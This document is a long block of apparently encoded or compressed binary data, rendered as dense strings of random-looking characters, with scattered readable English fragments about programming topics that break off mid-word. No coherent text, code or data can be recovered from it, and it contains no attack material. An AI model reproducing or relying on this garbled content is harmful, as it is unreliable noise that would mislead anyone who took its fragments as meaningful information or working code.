zYKTI$8VqVM*qrN2f+0D3S7gHm8#Nfx=G?g9?)$iLuffff>;|K)nzpd0HNP0CC!iZ_ z)nMxe+cemx!M+WKHWvQ7c9#a*HrTGg_6>HhfWsT?*kD+Lof>YPUo%9V`0Z&;Qg^*I z2;5nfZhQK&%)2(&t>MP%`p?4d4farpNpgd|8;odhMTcu0|Algn?#S(D5shkaXoLM5 z9MIsv1_w1bq`}CBPRDg?mTPiVgR2|p zC+r_I-15{l4aPUPRTPW;I)iGb*Bf$!G}Dlq+VqzdBl)M4L)Y@af447e6qn)hCFTX8H18M!w@CuxdzWSob7tSvh%j#GaJlm@M43P zjQEyS*~IZc-QFfHF#g@ZB|b66nTBv z;G+g})C3xQ+2AYbVQ;rJ_KBIqPYufXnIWGym}|%v2K9EwJSmlSRR-j~Zt#sPWD}{@ zw++5)IHaS=_fo|Me>C{B!4DezH~7`ORjPdPyeh4KYe5gPognF{Epg?0KASO?MDN{EIYM)V#VI z6lJj{i#J)qoIRTKY_g=``a7XEXZ4Wp!S*mtuQq>gLzXtUj9|_+u0BncZ=zqP?cH>i zc7-ODCeBUCnh9#RMHf|6AlG-wjgXi2Uz+SIEo!oVlhd1=(c}Q5AJydO zCI_nenjEZ(Td-hMlS7*v(qyENJ6uud)0*mGO%88zM3Wm&BJ(aD;m4Sl z6zQZU$2K{x$?;82XmVnc(N?y4-CawpQZ^k4(~N%qJ>5N&lbf7k0Z%n}T65vc{F14H z9n<8@Cf7B&zR6il#;P8hT-sz@le3##(B#4<=QKID$$3rAZ=ydBDqvB!a%~$I!wu4E z<*Uh^O>Sy(bCU^8Zf|l+lkrV%ZE~AZI579;%N^>nFZ$e_OP7l3AA))ra$=K7O(r*) zV%n=ya9SzSTIl?r+~Z3+)v2{*#duefyPMo&kxo@2dpU)_; z3tg0xYH5L2y7}^(%8{L}d8g@SH19Tfuj%%eMHCc+M%3>&`M{VzH29H0Wkd|0 zH2Jj2w@tol@>!G5n|$5m8)J~~T+7QB=A38nOWCn@j9I){EE)X1$^0gNHTk>A4^4iw zlqd~~>!&8anS`HB<}U^%;a5Wx{CAlY<=3E)KP{|~f7;pU6ubQXYy1nO^D!NwSdEA- z30WG1cQ(#02D`>|GemSn*WLJ+G^kW9X2{|Omx$>R)6;MrDarcNrDA#+rFYD7hAbVk zOzfJx7?w3exJ*!=nB|ROg_sp%R*KP@cE%+`aNzA4(>&5hs84xotrV-PO@nZ5ZK}eiSxVRfcX4-05a7{*j$YBBZL+0|-H6g%6ZSkyH1F9WTJ>e!XWrK|PM zUHWYEar`bHxqV=*)`^wm>Ds<#q1t)QOw0L zd&KM+b4<*!F?+@A9dk&`$e0l^`@|d&bD-7czA^hLB@)ufz0s{2%%WJ`#T*|q zCg#kT6Jk!3e*trRuDhu`%by zoEI}L=4>fRx7;}~U;o^p369vZ`H>PJ{QQ^;VlIpqzI-Ceeaktz4#r#(b7{<-F?YpW z7IS&bO))peToH3+%(XGs#av~Xy*lO^OQ({df>PckVc(v)>tk*(`i-g}{Y<>4qiba; zOTaBL<6|bqOp3WR=C+s#F}KI=sD_rH^@xq0<=2Qsg(gu7IN3x^QG1CIgD5IViPE19 zg-=z$n1@v?(w~@nV;+=(NgJgkF%MYSEK~+1R-yDwGq34Z0`gMgmCi?v_(aT;YNRob zTQ)O(mD^M1E9cWON~iY9MU=p2W1f>&LX_})%nNGiF`vcEjF}blmZFGxG3KS1S7Tl? zAuq?g67%K6+(<3COw8$%*x50!OP|$PRNeNNo1hp3GpE?ziFr5XqnJ4{@5Q_y^Fhpq z#-B+OXC_Sog=7Igj`^f5Gb4T;Ggr1Qp-;jWG4o;;$jT*r8S|BL7xSw$C+3@&?_=g$ zn!kiaF`chkndWBxFcot;Egq0H3O6Zrca>6PJ zt0$~sUaKao))uSaS=4=vBIlZIuT19J3F{>EPZ*G}ZkuPlHqZYOHt;_b5%UR!1V5pe zP)Z0arqbuNYmCW<@%AtSf|CLOo%pgy9JdW7{%etAu7koRB1>2}2S#PG}_z zGKLM>u@6pIzb#Xu6yt^o8~rDCQ8qE=%?yfX({|X+6SipMVpBS|PS_@4yM*l%hPL^) zZI`?l6nqDx@0c*mkSvda3lSOrgv%4INZ2)Dw}j&pPDt22VUL7E5=JKMnXp&FehK?0 z?42+oVV{J3P1?RQayxX*{ng9C_w^gQA-P*;=MG3XFyWwtgA;yU*HHu?*Apu`tK7>W z$1j^3m2hankqJj79F`#B;R#118rbKi(IK{7yE;yZJv!l-gk$BEAg}COzS?o6y8eA~ z`owl(!svvt3F8t@N;o;;w1m?WPDwb`giBhFK8`cvKO6sbNXa+!kT zQ55s<$eo>VPQrx=7bTpVa9+as2^S<}60)epsbna~h~;w^CtQ+nX~Ja|qr8+0iGA|> z+~f^%i>#OXw{ypp30EcDpYTA!)d|-m+@3Ho;o5}j5^heoCE@yn8xn3zxJhcZg-enu zaoHgbN}8e*WqiV|3AZIoP%Z3|n{B?k4RIB*?=HE$aybQ@lrTBru7s(Uo+$};B;0AZ z&$dlT-nI+gFq>*karRj%0dN#KJC4<$UC@SJKPVS2(72~Q?GobX7( zV-lP2s8nb}SAAKrWb!ko()Lus(+STc%t(+-#UcjPi_%cAOerJJC%lmGa>6SKGZSVd zyqNHk@rzlaRG3*y&L$-br{j;nRfA zET``o{K(+@20uvn&=5s8sAq1D;U63Pq)pd~$L9%i6MjqhUH0GTUnP8P$UOA|`m9S5 z{3hYsgdY-qG~e$MzE7BM3|Ysd9xCg_eo|ve_$A?2X|MHMSznWNVHx}*;m?HiQu?R- zmGHL=drHrge-i#R`HQA3NXVshO6i zCPWOGr~xShQ#P=$UP?ZtmQqhCr1&Z2lrW{3Qc4N_U%@4?qOcY`62IjogIO9HDb18L zrDZ&EN@D5Bk|9oggHi^ktZ%{pmqKOvmepO!Y?!i9%8-Yj?t7?gk!Df^@xm~v3czA5{q?4NQ#ik?}^ zlBWT-#`y}Ow*#KhEF24brbf>Otot3bm)4c43xrNnWFbsHTu0K<=T|nQYNHamvVi|jVU)-LFv-E zIBzgqzr(mW<(8E3DYs@BG~cXjHL+5G>jmT6QzoX|l`=JDQp)6%DJgd-3l%p+*LYj= zG8LERQ+HazB;S+$Pq`=M-jw^4k>QR(KVDJoWF@9Cp>q0Q%0nsVx459iw3O*;N-YX4 z9!_~A<&TsP(<=tqeb5q>$F(6#hNYFYSFL7+AU{|bwo|doJ~&kdonSrme*_1zr}zS z16xR!RPqx3fThZ7r*kDss^6m6V&4|~wJ5a+T5R583rTJfwrI5&)S{vkwrIA9TSP5t zE$S^A%297ut$HU)Rg;z568+sJg2Zx^8oaT$vkzH03~sT0iy zkB)NEbf`~~B}8z?7Q>7|xD-iZRlGa5*rmnpE%s=!tNHHMa)%z}HK@ax3#Dhz7JIcA z(PEz#d#ku~WzrTaBxi26KHSw6f}H!eIKYIQqBOKPsKwDOj!|v4IHbj4Ee>xnvc;$t zhZ>vqo>W1qL469Y>y3g(v^cWGQ7yM6ofVx@t4QT_Y>VSsjJB}H8$6-KiLHer6D3tV z`qb~7)Z%2zh@8rWvU6&S(^{O~;*1vKTAbZtOp7yHoYi7%3x(B*xGWi}GCho@fHH%E z=d?Jt#d#K;Qai!^7%RFqfG%utkpvE6%pfi{h8tSk*y55Fmzwi3gIBk>+z^GjqQ#Yl zU)82$P4Ai(*Ba%zHvRh6!uyFgwYa&(QiJF_gmcB;D$y6cel8w#l6ORz7Iu zLu=(&6Ny#-m7FQ#os#oqoK}8s<&RcAY30*a7Phj;B!AY*m#r*l;X$9)Gs-m*TvX@%Y=a{L{)Zb+H{>b4b24R0X9^ zi{}Ch9xHin--}vGmrB&!L)CBRv9iZ%9;+MMDjutPwD*u%2ak>( zojlhoMUkKA-H?RHdZI{X7mu|(avph)t{!W9^!3=*V;zrf9-Dh?;jymAdLA2kY~-=N z#|BnzcY_io7t#nNQSz&eJvQ;!)MGPCRf!s%|7|)*jn})(rRf!s{^in|Uu3{VNv8zYgBk*W79?!$~xNNesn+z)+1?M=VhaMS^ ztm*b|?bO`D3m!#}Lp=`jD0!4U_VC!#qvBEZXnG9usCh&lb&rM>6o)U>PTA#X4H%VTek13V7&*vDgEkNxB@Nn5MdQc2SGw!EssK_=>8 zk3&2+e~9Z6PYERXaE~KAPVyM-aiqsl9>;kc?{T!pF&@WyjFf!SEw+YKk|sk8p5QUc zgr8`VV-02Vm~)KB$sVVBoZ&In;}nlmJx)`T^>Qx`Ucb{d&|+K#RVf+yOpmiX&X!A? zh1WRBHIs^tOV^hbCI5Vn3q1GM>=>U5JuXtMeOi1j_PE63C6AXqE>-h+-0LyX<8qHH zJZ|y0)#FN!t30mrxL)z!)V{{!T0`0lc5bGKD&t6>8$53GxXI&Ybr5@-ptDhN?er!{ zh;+Nn<90=Ok9$1s@c5s{ogR0YG__`IWK~ei`h{`a*5f?JdrUAMRXO$?*EPDNCVAZF z@ubI79`}1Z;PHsZqaF`>O!j!l<6+AsvC=1&7Mn%zF-v;f;|Y)D&!#4xvSP$nuTkk! zJf?a)?=j8eX^&?-p7nSxX;U#sru2+uD(t-A@uJ6cj~V7s@)K>5{kN>R^dc5WFy2l$Hb3EQO^x2#Hk+v6RNcg5Uxg@xr3 zqU&4VA9#G|@v+Az9v^wk^O$dj4H2l=#Gmp@WE$C?1UTw($V7 z06r`E?BX-Tr;SfrpG|!>^J(X^vd>yRU42&ZS=Fb5Pe-5jKCAhx?z4vPhL5MB6+u3h zcH74(g|bdQYx;Ed>EffHtyb2rl;R;fENw$C~~8~Akh>E^Sp&w4)V`zz`z$#PUx z#Ptpvm^Sp;$Y*1pO?>x0OALA}iVYGENs_<0&lW!0`t%D5v)Hwlqex(Yr;V-O|wPg$elQ}t;Yz2+17)O{L0@=TdsxzrY_n)t=6 zYnbnbe$n+5Fx+Q^&%r*2`0U}cr_a7Jm(N~tDL(u7E1m~66<2k1&F+!f-{%0I1APwi zU0+beIWX3~H!V!7}?{k>X;U-7>^HpyA)OnQ8(Z-{&ED5Tw9Q9bAkv_-y z9PcyHXOhneKBIgt_qoF7M4yv<&hk0iXSB~4pHqEKGa)DYjP*Iia7_kci|O-OD(-Zj zGmL(wL0LdL#}*KNj?cM@^F9~(oab}C@myd~-B4OdLR|5SeJ=62)aNowRYS*NB<4BC z-lbmYbCu6+KDYZ^?Q@OKjXpQ|TZC<<%8i zUiy6GGtXzf&&LWodID|hoH-70div8AWfiKC@l&7Ad_MR2!skn$1wLPi(kG=4`t8+l z-zyd(HXXjx<_#g=sK0A()uhz7K8w}e((IAuJD=~>Nz-U?^#`9HRl79((){G}vrnfq zYo__d=U3^Orp4HP^ZC=~FQ4Ci{_t6%xJPQKyu!BV2&%Gzy8iZAX7qmy{!3qOx5`DD zmD03Nvs#)qCcIsmmD98}JQk(Ou99ZevMCIye*+uM} zri*3VBF$Q9x~5q_%?4@KHim9VDeG8XWn4GSdL~VHTzdC38>ZPL&8Eh@k#TOE@Tj=B zQc`2HG@B=M-70CzG+U+FI?Xngx2HiR^)MvP+sp9Y2K$(*eGOOX;_RPhyENG}xikaP zY@eppQU|6Plx9epp~{kGMX0RbU8T_wqyBH;|k>IYTrx@Z=yfl8Abixy+3H~D? zlhEUu=F=3@l+qLuy7Vk3c+HSXnrcE(s!ECMwr((%(=>dT!QHIlyBi#CP&|94*(=R4 zX^u_1=j*-G9Hj5qNb@xN8f8C&2N>Mn;DL{(4m9K-g9oQMB<=Qk>0GdOa7llKd z%a@;+<|IQ#i*CpmgD1yCy-hYm`=CxuD9V0DnlsZ}l;+|zXQeqi%>`*LOmmJ2KQGPs zY0fpZ)o1kyEPd3)vyG05U^<|r-K5%xrEUM0q`5TBO=)gUb6J|p(_EA0+B8?BxiZaF z`s{xiEzYarniuIKx9*`*Gu~eAOzw4Qu1|AAnj6z@2-aq4eewS1&)gve*-HD(^ey^Z z(%hQn&NO$Wxh>7@lBUK|U-%@o-$rg{+M;#bCRi0A#k%T1dYXIEj7u|KZDhl%LXd=O zrBPc__gm6T5~?PV;Kg*kG=E_ks?3dxKG;hn`0XGCL0>2}#4mdX8-8Ao| zc|Xku)(Zv&e3<4VSvYXZhV#j!KQ&^=(ofQ=Hd5~53zW8v|i ze>V--EMW71EdqK5^s-jo(%?1*w+h(W5VgK$4uU=GR__IR8zSTP3+Q8b-+*lc_hS*U zX>X@s|A6fRH~b9<*xr!-$@`;$0l(PfXNQ0t0|p1|6mW3BAptuF>=IB3s0IuP7#ffb z$OY^gxQ&`#fFICm__)p~b?S6L5D*4r0(YQZ-#rkUwzg_#wU!{XIa!o^KtV0oF{O_l z6s4_YFB`wuluP`A`mS0nAPU$kU~l75-m{i3uLlS=3^ol83)sz&-3=;rc)$q5_edyv z2F&g4vhNeHZ@~Tm2bj$LWcHp;NeP!eLJlTqL|J&y?7>WcCnZ4^n6K;=@BHgAs%7!z=Ez;R}C5sx?I1cRdto)~bFA)^h7M|(WR z26QtCmj#>>aH>pgPn3eENqId81e_6YrYab4wwy5F!hmxE&J8#(;QYY-(V(LO^@x;4 zPn{PSI?RR85r3vG3b;7nl7LGC9_Zk99WR*Srmy;SZ@eX5e+s@+_7Aus;PQIvO7p0z z0+XL1~Kodl|C)g;bw}B7EDBexVE0Z}oM4*gs^ukO84PB_wMrGTdOl=p87rAv?$dy;3`d z3>K~s)GjskrPNL#JFBK$QhtB;Y%BWEkX=Kr3Eh)gYls(eO30}pen>jx#E_Fhf{;)a z2stQpZkY+Ggj5aB8q5hAqSS&RMS~@S<miMhrrnA@!jNGh zyBV^3LLY93mcsT3+0*d7LiRCaZ-epIVD>d!a`p?^-*9EotuCERJlH6Qg&ZDoNWyuj zA@OG!jtDu| z+DKhMU!>V@ri)-|$J0X24LL95^pG<`&I~y#{Iw9mZci6GCUOWaLC_g=SM;w4S6o) z`H;tCy=_xVA4u(|k2YvQAmoXVC)HCzri45l@=Qp(_Nl27)g{$oQEH_9C+pC`sb{V4 zsM}ukjWdGQx~GMF81hlb3n4FtOb?k6@h)D;7PpN~ZoE?U0%o zGAm?u$m=0G)2DUsVRKp}Q*N(8M{9kG32!PXWb=)oLN{irB;b2}^755~VEK zC8Au)@_xt%p?j;YR?`@yFSE@HnIH0pYNy~I@=3@~AwP$FYBu>Ii?kJPo{{GGQ-2$xKTce(cOG1{0{Amn&3Hz7TUB6e; zi2P5;GE-Y80rktXKUFGoLa*e;%78*cFNGzC~IciFxuJhE*aLcTjg46UvOI6=<8(Y zW&%}^=3VP1`1%<($k08*c`vnSA$Q2HsSPvk*zZOeHqNj~hD|fHX7Dm>mT_ZQ?+kr1 zY;L%2x5%(%hOIKZtZ&h%p%Y}A3_TK_o*8;2c+A!}!}b{l8gW~L{WA17WV?iOK*qgK zmrPxQRD}#XX7nfS6_mloHYCGNhU{!`7lU!Gp@u8(uK&s9XDF%_GNhB#AVZiTlOb!A zyy>4a7^_-HYNXv?l2*>pNb*)PR1L2sl*o{JhV^?o=4OUr8FoujM`YMN!|;sz%ZxlB zhGN?z!=A>oSHiisA^T+9yAm<%uLhOdWNDk_zzhe;88SSX;b3don=|NjgWT+p42Nbo zEW_a$j>vF!hI7p2j?6GB!-*M=GXA489AorjGn`6vGT81+-uGi?xA*ajcS^~Rd;d-N-pWySO%?4X(prd z<64{2*HJW;l|Vgj9&O8dPl;!C%Xb;Rw+c?lFg3%|8J@}TY=&1dylV94GVWt^(+z(< z!!+ycFJySp5G5%HC_bpxGmPgYqraSC&Qv#`i~gGM3~w5JW`InBlz)?`K@-R*4d;L0?m7wWd7hqYU%pAxc#U>f|0h zw34P%?TT#b8hUt9md`SLp5f~Z-(>hA!X=!H|^t-ToD|r?a3Nb}-O#p`K^^7ZCQA>)duHith*EoH=`ACe zcl9wuoZDvUm!*G}?Tj)o%K$^fw!La$pIQ?BLD$qEscMwCbP;#Tx@e;>-Ve>PbJj(z zU9t?xy1$RT>tXNYeqr40`ZhFP>dRSdbTJJ-Blmi^5#`7DJj zMe*BhGs`eT$_6V2t64X8*RpOvj||ogHVn$)cQdx(2G#DnXWf2dWf@_VJ&a9x_sp_a zg72MWAH(-eC{JmLTfsle5vsMELD3+~G0&zB%en`ygR>lB7LZvEHL+9e_5I;lM)!At zQ8UA%vgna^TAS3-%4nuLHp|#7r(_vvx5pWjNsl+=ge;>H%87=YWN@^>F3Sha?vcOWjQ^Ib|ajTT%6^?gmRG~ z`mMkvhFog!GJ}^JRIV%JlNRBxlF@8A@oG!DMs|pQe4xkbtoz!}tgMUJH)Odn%S~Bs z&T>nZhqFAQ)GW7UxiiaMg8K4LmOJDaYI^N|nCD`MKD!}z(ui<(mV2^{%Q9Y0vZJFv zqE}sGQkpO;%1w~+{Zsdv7io~1D34vfd{UPC47uOn0|p;7IN9Js2KBiuF+ZB+u`E-v zOwIDR+)~|8YG=_WwwAo^exafj4|&n`E2XpuCNFwA%QIP?&GK9pxxHro^XI!rs5Od1 zcT4FDEzf6}W-X=R=7lUTW|?jtG9$~YR<7LsC9~Me2469#m*7(7wJbA@N6&`3mGx$4 z-6ZgJgKrp|qqhKth(0&VTZX@#P~I`*U4!psdEbx^lGG0k`ABZCo}1@U?dT;v0ht4a)5oDcmLaVne>m z^1UHH82m9w{VB`OhW}#lSA!pob$#deEPrHKl4WU@m2$Mn@n@F5)FN4yS+M$BCTel3 z$GQ}qmaEU^Xvsm&edS4)LVcVnB*xq3XqThCc(ksYW0f4M8ZPFKN3HmmnF5+_#ju(s zNtq5gI_A(*+j%)UehP=$xZVj$Dp>j+bn zx;fU%vA*G3B&i$Z=$>OkyWJ?qrU`xH9GfJ#hQiGfd~?Z9YQ1HStrGgyhHR6ghx9R< z#I@*^b7MqrgMAG4HMp(8eg^f@Uj~eAwY|yN+2Ft&gA(~W7_wuI!3kxj|7fy{5r-HY zYH-&atvNiyeS?`C=^TOKVU7nTyAo%QP3aPn%^^f%Um-^^$38jsHO^9wy>jfGqina8 z9Mv4P98r$pMyVT=gxzyAay0FBSdQHc`6K04>9$+$Z=qfgK`{fw?`U0#NeR@56f}5A+o%h;0QIh4jdhuIx5G}Mn5LU zv4%)~{G+{*IgU%Rh;l-bI?9j}bDU(z=!9OrHZ@i@wDtefa-3rLsRs4VOZ3wXKO^Be zGsjtmpKb6QgXbox`i#u^<}K3pf*cp-xG2ZPIWEa@qtP!-Qm;4UvK*Hiaz#SF(vYii zTy4lT3H{m}*CqIpw$2(i=+=>C^4)xz0lg%^#XYfvg zcNx6f;5`P%JbXfqdkvqMP$n62pTYYLK436B)(wIW8UBR9hYdcG<55GD`j{b) ztFzk}C(4sKo=Q@u%F{7Vr#yY~^p)5=o%3v+XPZ1-@~oAod!7yRbj`DNo()XGI(fPo zvc8C>#=54@dZvkl|7*G!*(lG(Nzt3+*)-2qcDtFuEfXP|TlOuI+qia;psES)k*8Nu z>z>9F3-6r}x6RWp&)_^e<=uK+|2#XG{O$4#Fl2j!1C3uY2ia|0ir|hWGcIfAJgt_x zi@_lVRnwt)cKuH-FOQ!mohQgsl=68(OU>rV<;f%kDP!KMRxlXXNKjYVC@QpSNF~V< zYgNzF$a6-XGxId_49jzLo@4UtmS^`od*#_X&+tUT9#-@SgOa>wf=JXpdG^h7gi-c0 zc#y&U^BnLWYaf{42j@A&7!J*ISf0ZTk6lQrO1NYmX+$AMna&~}Ym}4njLtJMNj)yl z@p(?jGb*8+X#C2kERs1U&&gKq>3PN`JaG}H%g`n&&l>IV;c1JYU$v^+aC@7WKeVo`8km${5PZjk>__qL{aHW5`3v4enTvjY_T_dX8^$ZcQdw~rL3@k9Hz(xf& zF0gfhZ7g*YgIgBZ)C$@x$-8-hEfPEyzLnhy?~%~^8`85tuL8Xb^eNC+TA8W0O?cwl zes&w<+Z7mKx7!J zgXj_-CU_>vl`l{za7=+?rS0(4oW7}Ifs%})_5T8g7TmnIQsB+LscL~*fyk2dT()0< zdVxlPW`SV^_9(Dtf!zx1USN2E5e2t{LW7+?EHLJalwK|Ay}VY8wLHF8fxQdtQ()f$ zS_ReONk0t=y&Tl5ZG|Ac2HL;C0R;{$a8QAR3mj5#@6p<|cgqf1?9v0fc75pesLn5F za(h_8J$xN*@CbuP8a&G2(FLY-bPV#Y)^G|D9fw_bOVv0ZF1ermqd=vw5t%oJ8r>J5b?Tvc!n+E*92 z#&i(y7ThoAKC3Z(^jfV;g1V^qTpi&{ItMlTK_5Vg|RIv z@MVDo1-`M{*ur0#@UIg}Y|Mp56vMYh7g5*u1%4>7evu7|{8-?p0;?2RwaCxvbjH@E z$ggIBWp?|U!QT!3QDBK7OAY>Q@XrE&84_zE_>bMnCd(6gs_5c>i$M&oR9w+h+7@YN z6zR6IA*#OewlA`p-F7j!deL=|&PCQJy8hC^h#d`fGPtI}xFO=|uT`XLk+m)3dX~D5 zL21&>kaaCdx4M+2dyx%`3@x&2k&TLMT%>oAKE}C;!L3Z^O^a-1w^C#CB3l@~r9sJ& z0$UrtjlmuUdm8LzFxF62RppXGY^gVeYgDh1gD!bqg zMRqJQ*oZq7*~Jvw*=}R`Lz1$@+*-u5+nkB@|5NLvkzqxmB(?q@`He)*Zl?ivaIikpsMON2qK{ZV$cY@|XtIk11x1g=-U_%Zuc&Nd{ifpdl=sdeR}{Ij$aO`oFLG6ptBYJy6)n)*wf*4R~+T=aTBgR0sCMIKD>$weMY@P`d~#GsB|K5jDKDe`WSCyG3&mMtWOk9)P3+7f z@%~Khhn!VJe}7PA-zYMt$Xi9;F7jrPx$@Fp?!(ubDal-VDXeX}GK=0*=rx3Xcl%z^ zy_fk;k#<(<{URR}`LM`GMLy9Yf021b<`><5-H(fI#Yso%)Ev6ir-1eKgU^b5UgYZ{ z-xT?x$d^SH6#1&?cJj#hQ6n|vQQK5D!oBF!CY*&u78Uun$l@aU(e{v8sVj#&Wpw0C zn_;$Y@7~ww_WL3~Xb33slY)PdUljI>w5g|NEojl!9W|~lZ8z22tWB@fvaed!S}FBM zktOD(OU-Q#FY#xQzf?+*e-zD13@ov%$Z`eJ5*w8ixo9b|Mu`q37uG1TnjtG06s3(J zZA-K(v9jT-lxSaaGnrLOD|R30<>q_7YfbU5UUIXJ_zhRb5?xEIU7}NoH7#%FlKbti z{P`fg@GbG9z5-f8Ysgx5Tc<>~lG}5#ZizNM-OMCDQL7g^>y=o)1i@0wttCUhW9qu$6()*o8u{U+Yk_A0q8e`*V*KAC)s=*OP!RFt&Z&ve^g z_AhZ@iG!>~9=4af2V2r1@;c)@w8UZN3~EO?!x5(5ktL2QakSy58wO~cWURB zI8TjoAn5}+zr+Rdx?$Wfj0;O#B&}+UtZ{LPOG1^dK@kWU`CEhIYc8Pc7lf6@uA4ttrHP!kSJf%Z4w?+RL+G$VM4c|36s=I9Ueu)oC zd?-&SF|WkuCB7&zUkoKaDeOpSDuTJ*q53uvral3}JxkCMAk$PW=pG@sN`RBTre zSgA~#vKtiI8f<4!w=0)d%y`?ES*^@lW!^5cdf7QxKjT@WOouWZ%XBKce?x3jX3a94 zEouF-`yzdpGF{88ZTMPcuF`*S6#vU~E3LE$8rX7Nm(&Jj zx|i9o%tmE4FSA9NjmvCOX45j8mEC_xbqq&P&7mC;@>u=6SOfi*Ww*_2D>0PakpwMh z=rD*}Nc%Aq%6gRDn9{RMuQI*M^eNL<{AIUeS%Z;wcW<)DeTYMQ7Y`nnI(%lTf0^yd z3@EdG+06#0l^IxOP}%LFU8<3y%#LNQE^|$p!DW4zmt)I}EVFZ&UCQiUX1Lj5NSUxq zrtAikp$2y?(^|$8UM6jnpzMZMt+D9S3hIUf4bPU{c%)oWnVcHScnXqPrd+0|vT*A# zs!^p()lzGsH&U8z#ml6UDWqPeVVX3{3@f|v5{Kp8%4qr>zigF1Xc!$)W{{Vv(GW(R-*CZTZ@+DzE>DE8BzcFhh(n`gFWezfxq>ly&=_a;A%N!xa${c3p z9&S){d7VZv6?BxTeRP?J7PlN@4yn1c7>+A*e3?tiTw3OYGNa0zWeOvcs{4%E-kM^{P=Ss{g*lI-wJ?gRvX9vQ3yTJjnS!!JJL1Zc1No^vL_W* zs?erF+X@?0Tx@Jtaj{+g)3w6N6;`RRYK8U{I#%dZVYLdYS6HJ$hYDKM)kwVrw?$U( z7WCAn0KWdn)S4AKSLjkj*}lTSgrbSW4i&dOZ^w#@)q}0Xohs~Hao+=3%Z4_UJG8>CnlV<~fY@5Wt8i$= zbsWD!xG&uTZE^RM8d6GV+Mj{0{Ccp$0+a z($6j{6^_v2!1Cp4i>ShMMQLl(dWA-XW`$uD_K?^LyH(h|!te?sD(*jDdRW$KjBH-& zmC_Td4o@BQacVC$ij=IduY9AE^@aJVPqFsj0d z6;7&fp3z5F+?LK$Dx6wjj8RTDIM$$K#+xutv)i)_o^J4r3TGOk*|^wroo%=0R5ID@pH2k83a&d)A3_rTnNw}=Sft#m%m-tGML?g_r9q++cEUGMDI@#fn9&L&j2SIu2>pDUbLVN!)z6=qksufqKmo|Q*w*{8yT6%;lf zuP|9%Qp<7XGY?hV|4Vh8lB|}~|_=>?-4Zdbjd1qEu zJX*e9;f)IOD|}pGj^djf^1GDQDCU~oJ~a4Ng|{obQ{mkT?^SqTE;KdOy$gy+@^(EJ ztZ`rJ0}1Jn`mmR4&5tU~v;L))QmQKQNrg{ks4A1Id{*J}3KvzmxXKsuKy~3NL6rp+ zzEWtavRRd{D|}Pop9;$=EUd7o;wD{x8~nDy&lP?#d~t>EDtuqz2ebK4M*Pum@oWAN zuO6#M|61XX3QH<(mHszl``vIcEVbJ|D=Qu(2MtgCrT%EchlJ=-7FBAwLU)xls-&v4 zRH4dBRoYcqxk{U=&HP1-$2gm8X!Kdd=*ru^%BqIT38jqKR;#Wku0xfM!mF%f44n*i zj+v7zlF-HQwG4JODEZy0PR|YPcHJuLRaw8v2BwCdb2T9pR9W4PB7Wf;RoS@8CRVyA zk}SA+l`X35TxFLkTN-oED!okXRtC2=xQ)Rc29>LKl|EIruQISo-zwWySG>LISEYZI z0mdfz+a+bG?z)Xj9Av3GRoxtK2g7%)GT1o95OYdfr4BKDgzsv|(CUi!EHYzj)eX2_ z72lA!t-~rAX;S5YD%mQzDtlDfv&yt*Qu!*wO-P|iF;=fiRHa^}T%}T_YN<6-<6j+w zsPsma-7K|PWtcID7$@y+blu7(BNAN7>}9wR`On^l?_+xIYq*H}Ro&{Js&Js%vC6Sk zMq2G;frE|b5L5EdDu-1$yvh-Fd$i>`vbtjTpoWH{61yE^#K<&JA3v_jXe&|p@l{T! zGOEgnRTs7N_#mh!my@g@-Hxepa+R@FPN{Of5mlp8tDIZqyeg*|<@73NR5{b|vlE`P z3{lh=uIH*eZ^)BXo-$-gm8n&pHvE|?&nBfyviu~j#k49f7{hB-UaT_R zcwRO*!{{#=R2K0o*DH1_#a>OUA$(?)S#~?yQeQXtM#8C#a>BV)-ZrzmWt?&C-ZA^U zTjf3ZVb#sqJ~EH`z;Hb~d{}j_21K7{(&ihC{ozvu|0>^A`M%2M3jS5TG09(=%-Dtt zjQ=ZxUmJ{Tz0hz~XHk`J4PR_9_T(R`{AjAKRO2V3ONZrEey;LMm0zp;R^_iMe_PV; zRsN{5#0rfo6&JCz%Adv%-^TjV+|w5(L<>+j%0SI{r^g4ry6S-PiKQ&46bD`wq&efw;Jo# z=wD;I8tc_q-x#*8v4J6*8SGwT!yI1N*x2Zs7~IrgT+_{KF0`sTTh!Rn=vx_# zYrT!(iZ(rJ^sLdVM(-MZYV=EZ`dY2GO@zcUV?77d*uF-lMz+Sl8iOp$F2*T_9ct`o zc?TQZ$>_?yv#A|7(2yEKYwT(afn{&4;nnaB7jxPWF~|I2a;v1A;f)&28u=Q98pR}6 z$q?yKHl$LcTBByAL^bM(-C~)7YNlbvxrf2sYV2NPxZxuV#{ZIt`DHgDd)3%aACRfB zPmO(R?wR7yn)?C4el_=;xPOfUY8+VOpc)6)IHZPV{(2tNrIlOZdaOIQXKI^I+*#nm zY8+nUh#E)MII70cHIAwA=*y|EUULtRdbgrndScRgow6KPg-nMgc_sdbrBsR zPONcKjW23^DaBe+qh;+HPt+JwKfNryIiYAw-pS*>ucO#Y}(DGjayn~xyf4LW`oLmOO0EN;WpD;&3Ai^I}HC{ zjXMpwtHwP^>fMH@i;XixJycmHB&qk-n3&*7y06ClH6Aeej~INg#^f3g8LrYFmZ#ZC zE=;0YP_WO?dZ<9>0wjzbNS&bHD0apT8)`CX4QDR#yd4; zn?2vCF{j4smRB#tFYC#hHRjgbTyA$g6#wiV#NMjWw@XSYJ*=-!)OfGPCpA8m8_Q2> zd?=@_p^Q2uCuS`a%&T$geeO4@dLK7meMC5$6q>5Qx| zQ7kZhzOM02jjzn{ltpSRtg%QzLv#2V-`3nY*`Gdl{UA=9WSLp4P0*KzHZ)jQ6E?Y!w6tQu{CJ~!P zY!Fj@%-QY}+GpU49#bTHEg#xlvCBmtuV) z`bG?n*ePOHz4?vUE^^EJ{UZ8DX#1kSQ;;YIin>Bza9&h_h8-8yuC@p$*2+>dS5 zE)$Ve=`vk}_KnEMM-6xXBGG<^Wp)l-XZDMcTl>;gGNc?)F(l~V+&D5FwyLvroq9wg zq8TwPVtGVLK~;?yF(cxoh~W_K@JdcV8osgdqr-Nuy@41mZa2ujH2kV zpHcQtZpEh5IN%&)Ns2;;MjRG#Rm9a1hesR{adO01%c9gHBaSls=!nsl<(POP5EY?ZaSrarGb7H5 zI4|OSOFcW{oQQKxnuNrq2*$!MP#Z;DWRl|~6%k*TMqFkRbbEQk6%kh^3dGr^Rcw=M zBCd@X7ct)WuQRrL48K0&hKL&@Zi=`$;tsiJ#4QoGM%)&0dm=EdQLKP)iB+L@M%)!~ zx5*JPR#^17bioM`_eMNv47!~d@mR#;5tAbBi?~1Hfry7A9-@F)Ibx2GbeL`;o%I^vm#=M^+8-3;!4HJzZ~&O 